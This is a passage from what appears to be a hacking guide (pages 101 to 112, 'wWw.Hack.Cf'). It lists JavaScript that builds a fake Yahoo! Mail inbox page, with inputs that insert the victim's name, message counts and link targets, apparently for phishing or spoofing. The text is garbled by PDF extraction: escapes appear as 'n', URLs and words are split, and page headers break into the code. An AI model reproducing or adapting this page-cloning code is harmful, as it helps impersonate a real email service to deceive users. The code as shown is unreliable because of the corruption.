"+K+"&YY=33422"+K+", n" clrar.value+=" "+K+"_top"+K+"n" clrar.value+=" );n" clrar.value+=" }n" clrar.value+=" </"+F+"CRIPT>n" clrar.value+="<TABLE cellSpacing=0 cellPadding=2 width="+K+"100%"+K+" border=0>n" clrar.value+=" <TBODY>n" clrar.value+=" <TR>n" clrar.value+=" <TD height=6></TD></TR>n" clrar.value+=" <TR class=ftitle>n" clrar.value+=" <TD colSpan=2> <A n" clrar.value+=" href="+K+"http://us.f137.mail.yahoo.com/ym/Folders?YY=33422"+K+"><B>Folder s</B></A> n" clrar.value+=" <SMALL>[<A href="+K+"javascript:AddFolder()"+K+">Add</A>]</SMALL> </TD></TR>n" clrar.value+=" <TR class=flo>n" clrar.value+=" <TD noWrap width="+K+"1%"+K+"> <IMG height=16 n" clrar.value+=" src="+K+"inbc1.gif"+K+" width=16> n" clrar.value+=" </TD>n" clrar.value+=" <TD><A href="+K+""+b2.value+""+K+"><B>Inbox ("+b4.value+")</B></A> </TD></TR>n"
  • 101.
    http://wWw.Hack.Cf Page 101 clrar.value+="<TR class=flo>n" clrar.value+=" <TD noWrap width="+K+"1%"+K+"> <IMG height=16 n" clrar.value+=" src="+K+"dftc1.gif"+K+" width=16> n" clrar.value+=" </TD>n" clrar.value+=" <TD><A href="+K+""+b2.value+""+K+">Draft</A> n" clrar.value+=" </TD></TR>n" clrar.value+=" <TR class=flo>n" clrar.value+=" <TD noWrap width="+K+"1%"+K+"> <IMG height=16 n" clrar.value+=" src="+K+"sntc1.gif"+K+" width=16> n" clrar.value+=" </TD>n" clrar.value+=" <TD><A n" clrar.value+=" href="+K+""+b2.value+""+K+">Sent</A> n" clrar.value+=" </TD></TR>n" clrar.value+=" <TR class=flo>n" clrar.value+=" <TD noWrap width="+K+"1%"+K+"> <IMG height=16 n" clrar.value+=" src="+K+"blkc1.gif"+K+" width=16> n" clrar.value+=" </TD>n" clrar.value+=" <TD><A href="+K+""+b2.value+""+K+"><B>Bulk ("+b5.value+")</B></A>n" clrar.value+=" <SMALL>[<A href="+K+""+b2.value+""+K+">Empty</A>]</SMALL> n" clrar.value+=" </TD></TR>n" clrar.value+=" <TR class=flo>n" clrar.value+=" <TD noWrap width="+K+"1%"+K+"> <IMG height=16 n" clrar.value+=" src="+K+"tshc1.gif"+K+" width=16> n" clrar.value+=" </TD>n" clrar.value+=" <TD><A n" clrar.value+=" href="+K+""+b2.value+""+K+">Trash</A> n" clrar.value+=" <SMALL>[<A n" clrar.value+=" href="+K+""+b2.value+""+K+">Empty</A>]</SMALL> n" clrar.value+=" </TD></TR>n" clrar.value+=" <TR>n" clrar.value+="<TD colSpan=2 height=5><IMG height=5 alt="+K+""+K+" n" clrar.value+=" src="+K+"space.gif"+K+" width=5> n" clrar.value+=" </TD></TR>n" clrar.value+=" <TR class=flo>n" clrar.value+=" <TD colSpan=2><!--X-->n" clrar.value+=" <P>n" clrar.value+=" <TABLE cellSpacing=0 cellPadding=0 border=0>n" clrar.value+=" <TBODY>n" clrar.value+=" <TR>n" clrar.value+=" <TD><A n" clrar.value+=" href="+K+"http://rd.yahoo.com/M=245829.2916373.4772318.2058947/D=mail/S= 150500014:SW1/A=1643659/R=0/SIG=12aln3g86/*https://qspace.iplace.com/cobr ands/27/order1_1.asp?p=1&amp;afd=3&amp;sc=1485sb09"+K+" n" clrar.value+=" target=_blank><IMG height=25 n" clrar.value+=" src="+K+"stickey25.gif"+K+" n"
  • 102.
    http://wWw.Hack.Cf Page 102 clrar.value+="width=25 border=0></A></TD>n" clrar.value+=" <TD><A n" clrar.value+=" href="+K+"http://rd.yahoo.com/M=245829.2916373.4772318.2058947/D=mail/S= 150500014:SW1/A=1643659/R=1/SIG=12aln3g86/*https://qspace.iplace.com/cobr ands/27/order1_1.asp?p=1&amp;afd=3&amp;sc=1485sb09"+K+" n" clrar.value+=" target=_blank><FONT size=2><B>Check Your <BR>Credit For n" clrar.value+=" Free</B></FONT></A> </TD></TR></TBODY></TABLE><!--X-- ></P></TD></TR>n" clrar.value+=" <TR class=flo>n" clrar.value+=" <TD colSpan=2>n" clrar.value+=" <TABLE cellSpacing=0 cellPadding=0 border=0>n" clrar.value+=" <TBODY>n" clrar.value+=" <TR>n" clrar.value+=" <TD><A n" clrar.value+=" href="+K+"http://rd.yahoo.com/M=254576.3497087.4782774.2046184/D=mail/S= 150500014:SW2/A=1455139/R=0/SIG=12lvho5g2/*http://www.servicemagic.com/s ervlet/RedirectServlet?m=yahoo&amp;D=HOME&amp;entry_point_id=7"+K+" n" clrar.value+=" target=_blank><IMG height=25 n" clrar.value+=" src="+K+"icon121.gif"+K+" n" clrar.value+=" width=25 border=0></A></TD>n" clrar.value+=" <TD><A n" clrar.value+=" href="+K+"http://rd.yahoo.com/M=254576.3497087.4782774.2046184/D=mail/S= 150500014:SW2/A=1455139/R=1/SIG=12lvho5g2/*http://www.servicemagic.com/s ervlet/RedirectServlet?m=yahoo&amp;D=HOME&amp;entry_point_id=7"+K+" n" clrar.value+=" target=_blank><FONT size=2>Rated Home<BR>Contractors n" clrar.value+=" </FONT></A></TD></TR></TBODY></TABLE></TD></TR>n" clrar.value+=" <TR class=flo>n" clrar.value+=" <TD colSpan=2>n" clrar.value+=" <TABLE cellSpacing=0 cellPadding=0 border=0>n" clrar.value+=" <TBODY>n" clrar.value+=" <TR>n" clrar.value+=" <TD><A n" clrar.value+=" href="+K+"http://rd.yahoo.com/M=236179.2446108.3884432.2070966/D=mail/S= 150500014:SW3/A=1657277/R=0/SIG=10svmjo69/*http://efax.mail.yahoo.com"+K +" n" clrar.value+=" target=_blank><IMG height=25 n" clrar.value+=" src="+K+"efax_man_july.gif"+K+" n" clrar.value+=" width=25 border=0></A></TD>n" clrar.value+=" <TD><A n" clrar.value+=" href="+K+"http://rd.yahoo.com/M=236179.2446108.3884432.2070966/D=mail/S= 150500014:SW3/A=1657277/R=1/SIG=10svmjo69/*http://efax.mail.yahoo.com"+K +" n" clrar.value+=" target=_blank><FONT size=2>FREE Fax Number<BR>For Your Y! n" clrar.value+=" Mail</FONT></A>
  • 103.
    http://wWw.Hack.Cf Page 103 </TD></TR></TBODY></TABLE></TD></TR>n" clrar.value+="<TR class=flo>n" clrar.value+=" <TD colSpan=2><!--X-->n" clrar.value+=" <P>n" clrar.value+=" <TABLE cellSpacing=0 cellPadding=0 border=0>n" clrar.value+=" <TBODY>n" clrar.value+=" <TR>n" clrar.value+=" <TD><A n" clrar.value+=" href="+K+"http://rd.yahoo.com/M=246920.3523192.4803779.2135186/D=mail/S= 150500014:SW4/A=1642781/R=0/SIG=12kppu53p/*http://www.gotomypc.com/u/t r/yh/cpm/mail/SW4/25x25PC_10/g22lp?Target=mm/g22lp.tmpl"+K+"><IMG n" clrar.value+=" height=25 n" clrar.value+=" src="+K+"25x25_PC-icon.gif"+K+" n" clrar.value+=" width=25 border=0></A></TD>n" clrar.value+=" <TD><A n" clrar.value+=" href="+K+"http://rd.yahoo.com/M=246920.3523192.4803779.2135186/D=mail/S= 150500014:SW4/A=1642781/R=1/SIG=12hdrnou3/*http://www.gotomypc.com/u/tr /yh/cpm/mail/SW4/25chtext10/PC?Target=mm/g22lp.tmpl"+K+" n" clrar.value+=" target=_blank><FONT size=2>Access Your Office <BR>Files from n" clrar.value+=" Home</FONT></A> n" clrar.value+=" </TD></TR></TBODY></TABLE><!--X-- ></P></TD></TR></TBODY></TABLE></TD>n" clrar.value+=" <TD class=bgd width=8 bgColor=#9bbad6><IMG height=2 n" clrar.value+=" src="+K+"space.gif"+K+" width=8></TD>n" clrar.value+=" <TD vAlign=top>n" clrar.value+="<TABLE cellSpacing=0 cellPadding=0 width="+K+"100%"+K+" border=0>n" clrar.value+=" <TBODY>n" clrar.value+=" <TR>n" clrar.value+=" <TD bgColor=white>n" clrar.value+=" <DIV class=bgd style="+K+"WIDTH: 5px; HEIGHT: 5px"+K+"><IMG height=5 n" clrar.value+=" src="+K+"rdul1.gif"+K+" n" clrar.value+=" width=5></DIV></TD></TR></TBODY></TABLE>n" clrar.value+=" <TABLE cellSpacing=0 cellPadding=4 width="+K+"100%"+K+" bgColor=white border=0>n" clrar.value+=" <TBODY>n" clrar.value+=" <TR>n" clrar.value+=" <TD vAlign=top>n" clrar.value+=" <TABLE cellSpacing=0 cellPadding=4 width="+K+"100%"+K+" border=0>n" clrar.value+=" <TBODY>n" clrar.value+=" <TR>n" clrar.value+=" <TD class=mtitle colSpan=2>Welcome, "+b7.value+" </TD></TR>n" clrar.value+=" <TR vAlign=top>n" clrar.value+=" <TD align=middle width=28><IMG height=18 n"
  • 104.
    http://wWw.Hack.Cf Page 104 clrar.value+="src="+K+"newmail1.gif"+K+" n" clrar.value+=" width=28> </TD>n" clrar.value+=" <TD vAlign=top>You have <B>"+b6.value+" unread messages</B>:<BR><B><A n" clrar.value+=" href="+K+""+b2.value+""+K+">Inbox&nbsp;("+b4.value+")</A></B>,&nbsp; n" clrar.value+=" <B><A n" clrar.value+=" href="+K+""+b2.value+""+K+">Bulk&nbsp;("+b5.value+")</A></B>&nbsp; n" clrar.value+=" </TD></TR>n" clrar.value+=" <TR>n" clrar.value+=" <TD colSpan=2 height=5><IMG height=5 n" clrar.value+=" src="+K+"space.gif"+K+" n" clrar.value+=" width=1></TD></TR></TBODY></TABLE>n" clrar.value+=" <TABLE cellSpacing=6 cellPadding=0 border=0>n" clrar.value+=" <TBODY>n" clrar.value+=" <TR>n" clrar.value+=" <TD vAlign=top><IMG height=16 n" clrar.value+=" src="+K+"bulb1.gif"+K+" n" clrar.value+=" width=16> </TD>n" clrar.value+=" <TD><B>Today's tip: </B>Before you click "+K+"Send,"+K+" ask yourself n" clrar.value+=" if each and every recipient will want to read your n" clrar.value+=" email.</TD></TR></TBODY></TABLE>n" clrar.value+=" <CENTER>n" clrar.value+=" <DIV class=bgd style="+K+"MARGIN: 8px; WIDTH: 90%; HEIGHT: 1px"+K+"><SPACER n" clrar.value+=" height="+K+"1"+K+" width="+K+"1"+K+" type="+K+"block"+K+"></DIV></CENTER>n" clrar.value+=" <TABLE cellSpacing=0 cellPadding=4 width="+K+"100%"+K+" border=0>n" clrar.value+=" <TBODY>n" clrar.value+=" <TR>n" clrar.value+=" <TD>n" clrar.value+=" <TABLE cellSpacing=0 cellPadding=0 width="+K+"100%"+K+" n" clrar.value+=" bgColor=#ffffff border=0>n" clrar.value+=" <TBODY>n" clrar.value+=" <TR>n" clrar.value+="<TD width=68><A n" clrar.value+=" href="+K+"http://us.rd.yahoo.com//mail_us/upgrade/evt=8754/*http://mailplus.m ail.yahoo.com/mp_splash_launch.php?b=lv"+K+" n" clrar.value+=" target=_blank><IMG height=60 n" clrar.value+=" src="+K+"sp_storage60_1.gif"+K+" n" clrar.value+=" width=68 border=0></A></TD>n" clrar.value+=" <TD noWrap>&nbsp;&nbsp;</TD>n" clrar.value+=" <TD vAlign=top><A n" clrar.value+=" href="+K+"http://us.rd.yahoo.com//mail_us/upgrade/evt=8754/*http://mailplus.m
  • 105.
    http://wWw.Hack.Cf Page 105 ail.yahoo.com/mp_splash_launch.php?b=lv"+K+"n" clrar.value+=" target=_blank><IMG height=18 n" clrar.value+=" src="+K+"hd_storage_1.gif"+K+" n" clrar.value+=" width=220 vspace=3 border=0></A><BR>For those of you who n" clrar.value+=" can't throw anything away. <NOBR><B><A n" clrar.value+=" href="+K+"http://us.rd.yahoo.com//mail_us/upgrade/evt=8754/*http://mailplus.m ail.yahoo.com/mp_splash_launch.php?b=lv"+K+" n" clrar.value+=" target=_blank>Learn n" clrar.value+=" more</A></B></NOBR></TD></TR></TBODY></TABLE><BR>n" clrar.value+=" <TABLE cellSpacing=0 cellPadding=1 width=300 bgColor=#057ebc n" clrar.value+=" border=0>n" clrar.value+=" <TBODY>n" clrar.value+=" <TR>n" clrar.value+=" <FORM style="+K+"MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px"+K+" n" clrar.value+=" action=http://pa.yahoo.com/*http://rd.yahoo.com/personals/ext/evt=8120/*http:// personals.yahoo.com/display n" clrar.value+=" target=_blank><INPUT type=hidden value=mantle n" clrar.value+=" name=frommod><INPUT type=hidden value=table n" clrar.value+=" name=ct_hft><INPUT type=hidden value=-dregion- n" clrar.value+=" name=cr><INPUT type=hidden value=2 name=advs><INPUT n" clrar.value+=" type=hidden value=1 name=form><INPUT type=hidden value=0 n" clrar.value+=" name=twoway><INPUT type=hidden value=y name=purlf>n" clrar.value+=" <TD>n" clrar.value+=" <TABLE cellSpacing=0 cellPadding=0 width="+K+"100%"+K+" n" clrar.value+=" bgColor=#c8e9f8 border=0>n" clrar.value+=" <TBODY>n" clrar.value+=" <TR>n" clrar.value+=" <TD width=108 bgColor=#057ebc><A n" clrar.value+=" href="+K+"http://pa.yahoo.com/*http://rd.yahoo.com/personals/ext/evt=8122/*htt p://personals.yahoo.com/"+K+"><IMG n" clrar.value+=" height=58 alt="+K+"Yahoo! Personals"+K+" n" clrar.value+=" src="+K+"couple_blu_e.gif"+K+" n" clrar.value+=" width=107 border=0></A></TD>n" clrar.value+=" <TD align=middle>n" clrar.value+=" <TABLE cellSpacing=2 cellPadding=0 border=0>n" clrar.value+=" <TBODY>n" clrar.value+=" <TR>n" clrar.value+=" <TD noWrap><FONT face=arial size=-1>I'm <SELECT n" clrar.value+=" name=ce_p><OPTION value=Woman n" clrar.value+=" selected>W</OPTION><OPTION n" clrar.value+=" value=Man>M</OPTION></SELECT> seeking <SELECT n" clrar.value+=" name=ce_g><OPTION value=Man n" clrar.value+=" selected>M</OPTION><OPTION n" clrar.value+=" value=Woman>W</OPTION></SELECT></FONT></TD></TR>n" clrar.value+=" <TR>n"
  • 106.
    http://wWw.Hack.Cf Page 106 clrar.value+="<TD noWrap><FONT face=arial size=-1>Zip: <INPUT n" clrar.value+=" maxLength=80 size=6 name=.pcsz>&nbsp;<INPUT type=submit value=Search name=Action></FONT></TD></TR></TBODY></TABLE></TD></TR></TBODY> </TABLE></TD></FORM></TR></TBODY></TABLE></TD></TR></TBODY></TA BLE></TD>n" clrar.value+=" <TD vAlign=top width=300 bgColor=white><SMALL>You are using n" clrar.value+=" <B>15%</B> of your <B>4.0MB</B> limit.</SMALL> n" clrar.value+=" <TABLE cellSpacing=0 cellPadding=1 width="+K+"100%"+K+" bgColor=black n" clrar.value+=" border=0>n" clrar.value+=" <TBODY>n" clrar.value+="<TR>n" clrar.value+=" <TD>n" clrar.value+=" <TABLE cellSpacing=0 cellPadding=0 width="+K+"100%"+K+" border=0>n" clrar.value+=" <TBODY>n" clrar.value+=" <TR>n" clrar.value+=" <TD n" clrar.value+=" style="+K+"BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER- LEFT: 0px; BORDER-BOTTOM: 0px"+K+" n" clrar.value+=" width="+K+"15%"+K+" bgColor=green height=10><SPACER height="+K+"8"+K+" n" clrar.value+=" width="+K+"2"+K+" type="+K+"block"+K+"></TD>n" clrar.value+=" <TD n" clrar.value+=" style="+K+"BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER- LEFT: 0px; BORDER-BOTTOM: 0px"+K+" n" clrar.value+=" width="+K+"85%"+K+" bgColor=white height=10><SPACER height="+K+"8"+K+" n" clrar.value+=" width="+K+"2"+K+" n" clrar.value+=" type="+K+"block"+K+"></TD></TR></TBODY></TABLE></TD></TR></TBODY> </TABLE><NOBR><A n" clrar.value+=" href="+K+"http://us.rd.yahoo.com/mail_us/welcome/storage/evt=194/*https://ord ering.yahoo.com/or/ypm/splash?577&amp;Pkgs=us:ym:space&amp;.osig=3Anzm"+ K+" n" clrar.value+=" target=_blank><B>Get a bigger mailbox</B></A> for only $9.99/year! n" clrar.value+=" </NOBR><BR><BR>n" clrar.value+=" <CENTER>n" clrar.value+=" <TABLE cellSpacing=0 cellPadding=0 border=0>n" clrar.value+=" <TBODY>n" clrar.value+=" <TR>n" clrar.value+=" <TD align=middle><FONT face=arial n" clrar.value+=" size=-2>ADVERTISEMENT</FONT><BR><A n" clrar.value+="
  • 107.
    http://wWw.Hack.Cf Page 107 href="+K+"http://rd.yahoo.com/M=256608.3514699.4796402.1433188/D=mail/S= 150500014:LREC/A=1642149/R=0/SIG=1339il57r/*http://ads.x10.com/?type=href &amp;lineid=3514699&amp;property=mail&amp;aposition=LREC&amp;random=10 57492859486309"+K+"><IMGn" clrar.value+=" height=250 alt="+K+""+K+" n" clrar.value+=" src="+K+"300x250ddaaq.gif"+K+" n" clrar.value+=" width=300 n" clrar.value+=" border=0></A></TD></TR></TBODY></TABLE></CENTER><BR></TD></TR>< /TBODY></TABLE></TD>n" clrar.value+=" <TR>n" clrar.value+=" <TD class=bgd bgColor=#9bbad6 colSpan=2><IMG height=2 alt="+K+""+K+" n" clrar.value+=" src="+K+"space.gif"+K+" width=40></TD>n" clrar.value+=" <TD vAlign=top bgColor=white>n" clrar.value+=" <TABLE cellSpacing=0 cellPadding=0 border=0>n" clrar.value+=" <TBODY>n" clrar.value+=" <TR class=bgd bgColor=#9bbad6>n" clrar.value+=" <TD width=5 height=5><IMG height=5 alt="+K+""+K+" n" clrar.value+=" src="+K+"rddl1.gif"+K+" n" clrar.value+=" width=5></TD></TR></TBODY></TABLE></TD></TR></TR></TBODY></TABLE ><!-- SpaceID=150500014 loc=PU noad -->n" clrar.value+="<TABLE cellSpacing=0 cellPadding=4 width="+K+"100%"+K+" border=0>n" clrar.value+=" <TBODY>n" clrar.value+=" <TR class=bgd bgColor=#e4ecf6>n" clrar.value+=" <TD align=left>n" clrar.value+=" <TABLE cellSpacing=0 cellPadding=2 border=0>n" clrar.value+=" <TBODY>n" clrar.value+=" <TR>n" clrar.value+=" <TD class=tbutton n" clrar.value+=" onclick="+K+"window.open('/ym/ShowFolder?rb=Inbox&amp;YY=33422&amp;YN= 1', '_top')"+K+" n" clrar.value+=" width=100><A n" clrar.value+=" href="+K+"http://us.f137.mail.yahoo.com/ym/ShowFolder?rb=Inbox&amp;reset=1 &amp;YY=33422&amp;YN=1"+K+">Check n" clrar.value+=" Mail</A> </TD>n" clrar.value+=" <TD>&nbsp;</TD>n" clrar.value+=" <TD class=tbutton n" clrar.value+=" onclick="+K+"window.open('/ym/Compose?YY=33422', '_top')"+K+" width=100><A n" clrar.value+=" href="+K+"http://us.f137.mail.yahoo.com/ym/Compose?YY=33422"+K+">Compose </A>n" clrar.value+=" </TD></TR></TBODY></TABLE></TD>n" clrar.value+=" <TD vAlign=bottom align=right>n" clrar.value+=" <TABLE cellSpacing=0 cellPadding=4 border=0>n"
  • 108.
    http://wWw.Hack.Cf Page 108 clrar.value+="<TBODY>n" clrar.value+=" <TR>n" clrar.value+=" <TD class=bge bgColor=#e4ecf6><A n" clrar.value+=" href="+K+"http://us.rd.yahoo.com/mail_us/nav/?http://billing.mail.yahoo.com/bm/ Upgrades"+K+" n" clrar.value+=" target=_blank>Mail Upgrades</A> - <A n" clrar.value+=" href="+K+"http://us.f137.mail.yahoo.com/ym/Search?YY=33422"+K+">Search n" clrar.value+=" Mail</A> - <A n" clrar.value+=" href="+K+"http://us.f137.mail.yahoo.com/ym/Options?YY=33422"+K+"><B>Mail n" clrar.value+=" Options</B></A></TD></TR></TBODY></TABLE></TD></TR></TBODY></TAB LE>n" clrar.value+="<CENTER>n" clrar.value+="<TABLE cellSpacing=0 cellPadding=4 border=0>n" clrar.value+=" <TBODY>n" clrar.value+=" <TR>n" clrar.value+=" <TD><A n" clrar.value+=" href="+K+"http://us.f137.mail.yahoo.com/ym/Welcome?YY=33422"+K+">Mail</A >&nbsp;- n" clrar.value+=" &nbsp;<A n" clrar.value+=" href="+K+"http://us.rd.yahoo.com/mail_us/footer/ab/?http://address.yahoo.com/y ab/us"+K+">Address n" clrar.value+=" Book</A> - <A n" clrar.value+=" href="+K+"http://us.rd.yahoo.com/mail_us/footer/cal/?http://calendar.yahoo.com" +K+">Calendar</A> n" clrar.value+=" - <A n" clrar.value+=" href="+K+"http://us.rd.yahoo.com/mail_us/footer/note/?http://notepad.yahoo.com "+K+">Notepad</A></TD></TR></TBODY></TABLE></CENTER><BR>n" clrar.value+="<TABLE cellSpacing=0 cellPadding=0 width="+K+"100%"+K+" border=0>n" clrar.value+=" <TBODY>n" clrar.value+=" <TR>n" clrar.value+=" <TD bgColor=#a0b8c8>n" clrar.value+=" <TABLE cellSpacing=1 cellPadding=1 width="+K+"100%"+K+" border=0>n" clrar.value+=" <TBODY>n" clrar.value+=" <TR vAlign=top bgColor=#ffffff>n" clrar.value+=" <TD align=middle><FONT face=arial size=-2><A n" clrar.value+=" href="+K+"http://us.rd.yahoo.com/footer/*http://address.yahoo.com/"+K+">Addre ss&nbsp;Book</A> n" clrar.value+=" · <A n"
  • 109.
    http://wWw.Hack.Cf Page 109 clrar.value+=" href="+K+"http://us.rd.yahoo.com/footer/*http://auctions.yahoo.com/"+K+">Aucti ons</A>n" clrar.value+=" · <A n" clrar.value+=" href="+K+"http://us.rd.yahoo.com/footer/*http://autos.yahoo.com/"+K+">Autos</ A> n" clrar.value+=" · <A n" clrar.value+=" href="+K+"http://us.rd.yahoo.com/footer/*http://briefcase.yahoo.com/"+K+">Brief case</A> n" clrar.value+=" · <A n" clrar.value+=" href="+K+"http://us.rd.yahoo.com/footer/*http://calendar.yahoo.com/"+K+">Cale ndar</A> n" clrar.value+=" · <A n" clrar.value+=" href="+K+"http://us.rd.yahoo.com/footer/*http://chat.yahoo.com/"+K+">Chat</A > n" clrar.value+=" · <A n" clrar.value+=" href="+K+"http://us.rd.yahoo.com/footer/*http://classifieds.yahoo.com/"+K+">Cla ssifieds</A> n" clrar.value+=" · <A n" clrar.value+=" href="+K+"http://us.rd.yahoo.com/footer/*http://finance.yahoo.com/"+K+">Financ e</A> n" clrar.value+=" · <A n" clrar.value+=" href="+K+"http://us.rd.yahoo.com/footer/*http://games.yahoo.com/"+K+">Games </A> n" clrar.value+=" · <A n" clrar.value+=" href="+K+"http://us.rd.yahoo.com/footer/*http://geocities.yahoo.com/"+K+">Geoc ities</A> n" clrar.value+=" · <A n" clrar.value+=" href="+K+"http://us.rd.yahoo.com/footer/*http://greetings.yahoo.com/"+K+">Gre etings</A> n" clrar.value+=" · <A n" clrar.value+=" href="+K+"http://us.rd.yahoo.com/footer/*http://groups.yahoo.com/"+K+">Group s</A> n" clrar.value+=" · <A n" clrar.value+=" href="+K+"http://us.rd.yahoo.com/footer/*http://health.yahoo.com/"+K+">Health </A> n" clrar.value+=" · <A n" clrar.value+=" href="+K+"http://us.rd.yahoo.com/footer/*http://astrology.yahoo.com/yastro/"+K+
  • 110.
    http://wWw.Hack.Cf Page 110 ">Horoscopes</A>n" clrar.value+=" · <A n" clrar.value+=" href="+K+"http://us.rd.yahoo.com/footer/*http://hotjobs.yahoo.com/"+K+">HotJo bs</A> n" clrar.value+=" · <A n" clrar.value+=" href="+K+"http://us.rd.yahoo.com/footer/*http://www.yahooligans.com/"+K+">Ki ds</A> n" clrar.value+=" · <A n" clrar.value+=" href="+K+"http://us.rd.yahoo.com/footer/*http://mail.yahoo.com/"+K+">Mail</A> n" clrar.value+=" · <A n" clrar.value+=" href="+K+"http://us.rd.yahoo.com/footer/*http://maps.yahoo.com/"+K+">Maps</ A> n" clrar.value+=" · <A n" clrar.value+=" href="+K+"http://us.rd.yahoo.com/footer/*http://members.yahoo.com/"+K+">Me mber&nbsp;Directory</A> n" clrar.value+=" · <A n" clrar.value+=" href="+K+"http://us.rd.yahoo.com/footer/*http://messenger.yahoo.com/"+K+">Me ssenger</A> n" clrar.value+=" · <A n" clrar.value+=" href="+K+"http://us.rd.yahoo.com/footer/*http://mobile.yahoo.com/"+K+">Mobile </A> n" clrar.value+=" · <A n" clrar.value+=" href="+K+"http://us.rd.yahoo.com/footer/*http://movies.yahoo.com/"+K+">Movie s</A> n" clrar.value+=" · <A n" clrar.value+=" href="+K+"http://us.rd.yahoo.com/footer/*http://launch.yahoo.com/"+K+">Music< /A> n" clrar.value+=" · <A n" clrar.value+=" href="+K+"http://us.rd.yahoo.com/footer/*http://my.yahoo.com/"+K+">My&nbsp; Yahoo!</A> n" clrar.value+=" · <A n" clrar.value+=" href="+K+"http://us.rd.yahoo.com/footer/*http://news.yahoo.com/"+K+">News</ A> n" clrar.value+=" · <A n" clrar.value+=" href="+K+"http://us.rd.yahoo.com/footer/*http://paydirect.yahoo.com/"+K+">Pay Direct</A> n" clrar.value+=" · <A n"
  • 111.
    http://wWw.Hack.Cf Page 111 clrar.value+=" href="+K+"http://us.rd.yahoo.com/footer/*http://personals.yahoo.com/"+K+">Pers onals</A>n" clrar.value+=" · <A n" clrar.value+=" href="+K+"http://us.rd.yahoo.com/footer/*http://pets.yahoo.com/"+K+">Pets</A > n" clrar.value+=" · <A n" clrar.value+=" href="+K+"http://us.rd.yahoo.com/footer/*http://photos.yahoo.com/"+K+">Photos </A> n" clrar.value+=" · <A n" clrar.value+=" href="+K+"http://us.rd.yahoo.com/footer/*http://platinum.yahoo.com/"+K+">Plati num</A> n" clrar.value+=" · <A n" clrar.value+=" href="+K+"http://us.rd.yahoo.com/footer/*http://shopping.yahoo.com/"+K+">Sho pping</A> n" clrar.value+=" · <A n" clrar.value+=" href="+K+"http://us.rd.yahoo.com/footer/*http://sports.yahoo.com/"+K+">Sports </A> n" clrar.value+=" · <A n" clrar.value+=" href="+K+"http://us.rd.yahoo.com/footer/*http://tv.yahoo.com/"+K+">TV</A> · n" clrar.value+=" <A n" clrar.value+=" href="+K+"http://us.rd.yahoo.com/footer/*http://travel.yahoo.com/"+K+">Travel< /A> n" clrar.value+=" · <A n" clrar.value+=" href="+K+"http://us.rd.yahoo.com/footer/*http://weather.yahoo.com/"+K+">Weat her</A> n" clrar.value+=" · <A n" clrar.value+=" href="+K+"http://us.rd.yahoo.com/footer/*http://yp.yahoo.com/"+K+">Yellow&nbs p;Pages</A> n" clrar.value+=" · <A n" clrar.value+=" href="+K+"http://us.rd.yahoo.com/footer/*http://docs.yahoo.com/docs/family/mor e.html"+K+">more...</A></FONT></TD></TR></TBODY></TABLE></TD></TR> </TBODY></TABLE><!-- SpaceID=150500014 loc=FOOT noad -->n" clrar.value+="<script language=javascript> var ADFadids = "+K+"1522466,1522468,1453288,1453290,1579788,1643659,1455139,1657277,16 42781,1642149,1544483,1052425"+K+"; function ADFlaunch() {var w; var l="+K+"http://rd.yahoo.com/M=224039.2020109.3495275.1958505/D=mail/S=150 500014:FOOT2/A=1052425/R=0/id=adfeedback/SIG=12ecvkvil/*http://promo.yaho o.com/adfeedback/?page=150500014:FOOT2&property=mail&adids="+K+"+ADFadi
  • 112.
    http://wWw.Hack.Cf Page 112 ds; w=window.open(l,"+K+"AdFeedbackWin"+K+","+K+"toolbar=no,scrollbars=yes,resi zable,location=no,height=400,width=640"+K+");}</"+F+"CRIPT>n" clrar.value+="<CENTER><SMALL><BR>Copyright © 1994-2003 <A n" clrar.value+="href="+K+"http://rd.yahoo.com/M=224039.2020109.3495275.19585 05/D=mail/S=150500014:FOOT2/A=1052425/R=1/SIG=11n7g195d/*http://rd.yaho o.com/mail_us/tos/?http://www.yahoo.com"+K+" n" clrar.value+="target=_blank>Yahoo!</A> Inc. All rights reserved. <A n" clrar.value+="href="+K+"http://rd.yahoo.com/M=224039.2020109.3495275.19585 05/D=mail/S=150500014:FOOT2/A=1052425/R=2/SIG=1136qnvkg/*http://docs.ya hoo.com/info/terms/"+K+">Terms n" clrar.value+="of Service</A> - <A n" clrar.value+="href="+K+"http://rd.yahoo.com/M=224039.2020109.3495275.19585 05/D=mail/S=150500014:FOOT2/A=1052425/R=3/SIG=11lp7krrc/*http://docs.yah oo.com/info/copyright/copyright.html"+K+">Copyright n" clrar.value+="Policy</A> - <A n" clrar.value+="href="+K+"http://rd.yahoo.com/M=224039.2020109.3495275.19585 05/D=mail/S=150500014:FOOT2/A=1052425/R=4/SIG=11he80eif/*http://docs.yah oo.com/info/guidelines/mail.html"+K+">Guidelines</A> n" clrar.value+="- <A href="+K+"javascript:ADFlaunch()"+K+">Ad Feedback</A><BR>NOTICE: We collect n" clrar.value+="personal information on this site.<BR>To learn more about how we use your n" clrar.value+="information, see our <A n" clrar.value+="href="+K+"http://rd.yahoo.com/M=224039.2020109.3495275.19585 05/D=mail/S=150500014:FOOT2/A=1052425/R=5/SIG=11b5p6lhe/*http://privacy. yahoo.com/privacy/us/mail/"+K+">Privacy n" clrar.value+="Policy</A></SMALL></CENTER>n" clrar.value+="<script>n" clrar.value+="var ypim_MA_Farm_URL = "+K+"http://us.f137.mail.yahoo.com"+K+";n" clrar.value+="var ypim_AB_URL = "+K+"http://address.yahoo.com/yab/us"+K+";n" clrar.value+="var ypim_CA_URL = "+K+"http://calendar.yahoo.com"+K+";n" clrar.value+="var ypim_NP_URL = "+K+"http://notepad.yahoo.com"+K+";n" clrar.value+="var ypim_MA_YY = "+K+"128340"+K+";n" clrar.value+="var ypim_IMG = "+K+"http://us.i1.yimg.com/us.yimg.com/i/us/pim"+K+";n" clrar.value+="var ypim_Loc = "+K+"us"+K+";n" clrar.value+="var ypim_IsCalendarView = false;n" clrar.value+="var ypim_IsNotepadView = false;n" clrar.value+="var ypim_i18n_CheckMail = "+K+"Check Mail"+K+";n" clrar.value+="var ypim_i18n_Compose = "+K+"Compose"+K+";n" clrar.value+="var ypim_i18n_Folders = "+K+"Folders"+K+";n" clrar.value+="var ypim_i18n_Search = "+K+"Search"+K+";n" clrar.value+="var ypim_i18n_Options = "+K+"Options"+K+";n" clrar.value+="var ypim_i18n_Help = "+K+"Help"+K+";n" clrar.value+="var ypim_i18n_AddContact = "+K+"Add Contact"+K+";n" clrar.value+="var ypim_i18n_AddCategory = "+K+"Add Category"+K+";n" clrar.value+="var 